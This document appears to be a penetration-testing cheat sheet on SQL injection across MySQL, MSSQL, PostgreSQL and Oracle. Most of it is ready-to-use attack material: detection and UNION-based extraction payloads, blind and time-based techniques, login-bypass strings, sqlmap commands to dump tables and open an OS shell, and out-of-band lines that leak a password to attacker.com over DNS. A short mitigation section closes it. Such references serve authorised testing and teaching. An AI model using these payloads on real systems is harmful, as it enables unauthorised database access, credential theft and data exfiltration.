Note
web
sql-injection
injection
union-based-sqli
blind-sqli
time-based-sqli
authentication-bypass
sqlmap
out-of-band-exfiltration
Identify, exploit, and validate SQL injection across common database engines and application flows.
SQL Injection
SQL injection occurs when user-supplied input is incorporated into a database query without proper sanitisation or parameterisation. It remains one of the most prevalent and impactful web vulnerabilities (OWASP Top 10).
Detection
Manual probing
# Boolean-based detection
' OR 1=1--
' OR 1=2--
' AND 1=1--
1' AND SLEEP(3)-- # time-based (MySQL)
1' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects))-- # error-based (MSSQL)
Error messages that confirm SQL injection
You have an error in your SQL syntax— MySQLUnclosed quotation mark— MSSQLORA-00933: SQL command not properly ended— Oraclesyntax error at or near— PostgreSQL
Enumeration
UNION-based (when output is reflected)
-- Step 1: find number of columns
' ORDER BY 1--
' ORDER BY 2--
-- ... until error, then column count = last success
-- Step 2: find which columns are visible
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--
-- Step 3: extract data
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns
WHERE table_name='users'--
' UNION SELECT username,password,NULL FROM users--
Blind Boolean-based
-- Test: does admin user exist?
' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
-- Extract password char by char
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
Time-based blind
-- MySQL
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
-- MSSQL
'; WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
-- PostgreSQL
'; SELECT pg_sleep(5)--
-- Oracle
'; BEGIN DBMS_PIPE.RECEIVE_MESSAGE(('a'),5); END;--
sqlmap — Automated Exploitation
# Basic scan of a URL parameter
sqlmap -u "http://target.com/page?id=1" --batch
# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch
# Using a saved Burp request file
sqlmap -r request.txt --batch
# Dump the database
sqlmap -u "http://target.com/page?id=1" --dbs
sqlmap -u "http://target.com/page?id=1" -D app_db --tables
sqlmap -u "http://target.com/page?id=1" -D app_db -T users --dump
# Try to get OS shell (if DB user has FILE privs)
sqlmap -u "http://target.com/page?id=1" --os-shell
# Authentication bypass attempt
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3 \
--technique=B --auth-type=Basic --auth-cred="admin:admin"
Authentication Bypass
Classic login bypass payloads:
-- Username field
admin'--
admin' #
admin'/*
' OR 1=1--
' OR 'x'='x
-- Combined username + password
' OR 1=1-- (any password)
admin'-- (any password)
Second-Order SQLi
Occurs when input is stored safely but later used in an unsafe query:
- Register with username:
admin'-- - Update profile — the stored username is used in an UPDATE without sanitisation.
- Update overwrites admin's row.
Always test profile update, password reset, and any feature that reads back stored data.
Out-of-Band Exfiltration
When the response is fully blind (no timing difference visible):
-- MySQL — DNS exfil (requires FILE privilege)
' UNION SELECT LOAD_FILE(CONCAT('\\\\',
(SELECT password FROM users LIMIT 1), '.attacker.com\\a'))--
-- MSSQL — DNS via xp_dirtree
'; EXEC xp_dirtree '\\attacker.com\share'--
-- Use Burp Collaborator or interactsh to catch the DNS request
Mitigation (for report recommendations)
- Parameterised queries / prepared statements — the only reliable fix.
- Stored procedures (if they don't dynamically build SQL internally).
- Least-privilege DB accounts — application account should not have
FILEorEXECprivs. - WAF as defence-in-depth (not a primary control — bypassable).
- Error handling — never expose raw DB errors to users.
# Python — safe parameterised query example
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
(username, password))